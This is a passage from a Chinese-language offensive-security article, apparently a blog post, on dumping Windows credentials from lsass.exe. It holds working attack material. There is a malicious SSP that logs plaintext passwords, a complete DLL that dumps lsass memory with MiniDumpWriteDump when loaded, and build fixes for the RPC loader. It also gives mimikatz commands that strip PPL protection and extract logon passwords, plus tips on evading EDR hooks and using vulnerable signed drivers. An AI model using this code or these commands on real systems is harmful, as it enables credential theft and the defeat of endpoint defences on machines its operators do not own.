_wfopen(L&#34;kiwissp.log&#34;, L&#34;a&#34;))<br/>#pragma warning(pop)<br/>{        <br/>klog(kssp_logfile, L&#34;[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t&#34;, PrimaryCredentials-&gt;LogonId.HighPart, PrimaryCredentials-&gt;LogonId.LowPart, LogonType, &amp;PrimaryCredentials-&gt;DomainName, &amp;PrimaryCredentials-&gt;DownlevelName, AccountName);<br/>klog_password(kssp_logfile, &amp;PrimaryCredentials-&gt;Password);<br/>klog(kssp_logfile, L&#34;\n&#34;);<br/>fclose(kssp_logfile);<br/>}<br/>return STATUS_SUCCESS;<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">常见的部署ssp的方法有两种：</p><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 修改注册表，等待机器重启，ssp生效。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 使用AddSecurityPackage函数加载dll，powershell版本<a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1" target="_blank">https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1</a></p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">memssp</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这种方法不需要重启，通过操作lassass.exe的内存记录密码：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, misc_msv1_0_SpAcceptCredentials, (DWORD) ((PBYTE) misc_msv1_0_SpAcceptCredentials_end - (PBYTE) misc_msv1_0_SpAcceptCredentials), &amp;extForCb, &amp;aLsass))</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">相比较而言这种方法不需要重启，但操作内存的行为非常敏感，容易被edr报警。</p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">导出内存</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">原理</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们通过ssp绕过内存保护的思路是让lasses.exe自己导出自己，也就是通过ssp装载一个dll，该dll的功能是导出自己的内存。这样看起来是没有问题，但对内存的操作还是较为危险的。xpn通过逆向windows api AddSecurityPackage函数，发现这个函数有rpc的调用。我们可以通过模拟这个函数rpc调用装载我们自定义的dll实现我们想要的功能。目前已经有一些现成的轮子：</p><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <a href="https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e" target="_blank">https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e</a> 模拟SpAcceptCresidentials进行rpc调用的程序</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <a href="https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0" target="_blank">https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0</a> 实现恶意功能的dll程序，这里是记录明文密码</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <a href="https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c" target="_blank">https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c</a> dump内存的dll</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">结合上文我们使用MiniDumpWriteDump导出内存的功能，我们就可以绕过内存保护了。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">编译模拟SpAcceptCresidentials进行rpc调用的程序，可能会遇到一些报错：</p><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 编译报错1：argument of type &#34;unsigned char *&#34; is incompatible with parameter of type &#34;RPC_WSTR&#34; 解决办法：调整项目编码，不为unicode即可</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 编译报错2：unresolved external symbol NdrClientCall3</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">解决办法：#pragma comment (lib, &#34;rpcrt4.lib&#34;)</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">编译导出内存的dll：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">#include &#34;pch.h&#34;<br/>#include &lt;cstdio&gt;<br/>#include &lt;windows.h&gt;<br/>#include &lt;DbgHelp.h&gt;<br/>#include &lt;iostream&gt;<br/>#include &lt;string&gt;<br/>#include &lt;map&gt;<br/>#include &lt;TlHelp32.h&gt;<br/>#include &lt;wchar.h&gt;<br/> <br/>#pragma comment(lib,&#34;Dbghelp.lib&#34;)<br/>using namespace std;<br/> <br/> <br/>int dump() {<br/>DWORD lsassPID = 0;<br/>HANDLE lsassHandle = NULL;<br/> <br/>// Open a handle to lsass.dmp - this is where the minidump file will be saved to<br/>HANDLE outFile = CreateFile(L&#34;lsass.dmp&#34;, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);<br/> <br/>// Find lsass PID        <br/>HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br/>PROCESSENTRY32 processEntry = {};<br/>processEntry.dwSize = sizeof(PROCESSENTRY32);<br/>LPCWSTR processName = L&#34;&#34;;<br/> <br/>if (Process32First(snapshot, &amp;processEntry)) {<br/>while (_wcsicmp(processName, L&#34;lsass.exe&#34;) != 0) {<br/>Process32Next(snapshot, &amp;processEntry);<br/>processName = processEntry.szExeFile;<br/>lsassPID = processEntry.th32ProcessID;<br/>}<br/>}<br/> <br/>// Open handle to lsass.exe process<br/>lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);<br/> <br/>// Create minidump<br/>BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);<br/> <br/>return 0;<br/>}<br/>BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {<br/>switch (ul_reason_for_call) {<br/>case DLL_PROCESS_ATTACH:<br/>dump();<br/>break;<br/>case DLL_THREAD_ATTACH:<br/>case DLL_THREAD_DETACH:<br/>case DLL_PROCESS_DETACH:<br/>break;<br/>}<br/>return TRUE;<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">进行测试，这里path需要绝对路径，代码种并未将文件载入内存，rpc发送的只有文件名，所以需要绝对路径：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.29892141756548535" title="null" data-w="649" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f42cd548&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJHNUibQROHricXEVzKvYUlmSHcHicnMMBYdCDGeRRWBGLLmw0vZKnvKB4w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">会返回rpc调用异常，但实际代码已经被执行。</p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">解钩子</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">某些安全产品已经开始拦截MiniDumpWriteDump这种行为，拦截的方法是通过用户模式下的API hook，使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址。与edr api hook对抗思路：<a href="https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6" target="_blank">https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">工具:<a href="https://github.com/outflanknl/Dumpert" target="_blank">https://github.com/outflanknl/Dumpert</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在《基础免杀》系列文章中介绍了多种解hook的方式可供参考。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">PPL</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">什么是PPL</h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">Windows 8.1 引入了 Protected Process Light (PPL) 的概念，它使经过特殊签名的程序能够以不受篡改和终止的方式运行，即使是管理员用户也是如此。开启ppl的机器，就算我们直接使用任务管理器dump敏感进程如lsass.exe也无法获得转储文件：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.8079514824797843" title="null" data-w="1484" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7df3e23d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJFiafgJevlN7v264I5VG3n0EudFynCBweWsToqkKo1SNuYxNHoKw4MRw%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">配置PPL</h3><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4653259361997226" title="null" data-w="1442" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2ff2724f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJ98HqtoeyibKdBPayJbeIL52rNlYBFAw7K976vTlOV3u42g0UVuPyPDw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">除了单机配置，还可以通过域组策略下发的形式对所有域内机器进行设置。单机设置如图：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.5484068627450981" title="null" data-w="1632" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9722006c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJxnOWxWgMu3wR22hnd1HST1BarwWnPyicUJ4cRMIRQJJzibgudG6seK4g%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">关闭PPL</h3><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.45173267326732675" title="null" data-w="1616" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=70a3eedc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJfmrNJ8sjQItibYRwBuKAibAVUsOlmjsQn1OB3KYoOtCGlSzTTVzicW22g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">常规的修改注册表的方式在域渗透的环境下并不可行，域重启会自动重新加载组策略导致又再次开启了PPL。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">内核态bypass</h3><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">mimikatz</h4><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">mimikatz # !+<br/>mimikatz # !processprotect /process:lsass.exe /remove<br/>mimikatz # privilege::debug<br/>mimikatz # sekurlsa::logonpasswords</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">笔者也没有接触过windows内核编程，从老外的文章来看，mimikatz简单原理是使用自签名的驱动将某个代表程序保护级别的标志位修改了，进而降低了lsass.exe的保护级别：修改前保护级别为：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.21656686626746507" title="null" data-w="2004" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1e63ec4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJGwYANZwFacHHRexnw9qUYJSYQlwgrohuIVTSxdTACicbrvukSoib5Zkw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">修改后：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.24800796812749004" title="null" data-w="2008" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8761a000&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJ3k4SZibev2k9h0KthEhZjq9kwQt2bdicAOmcVKicib2HtgzozHicyibm5xYg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该方法目前的问题有两个，mimikatz的驱动基本是必杀。其次mimikatz没有恢复lsass的保护级别，可能会导致系统的一些问题。</p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">使用自定义驱动</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们自定义驱动是无法获得驱动签名的，除非向微软申请。这样，我们就需要寻找到windows和驱动相关的漏洞，或寻找到一个带签名且有漏洞的驱动。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里我们可以参考项目<a href="https://github.com/wavestone-cdt/EDRSandblast" target="_blank">https://github.com/wavestone-cdt/EDRSandblast</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 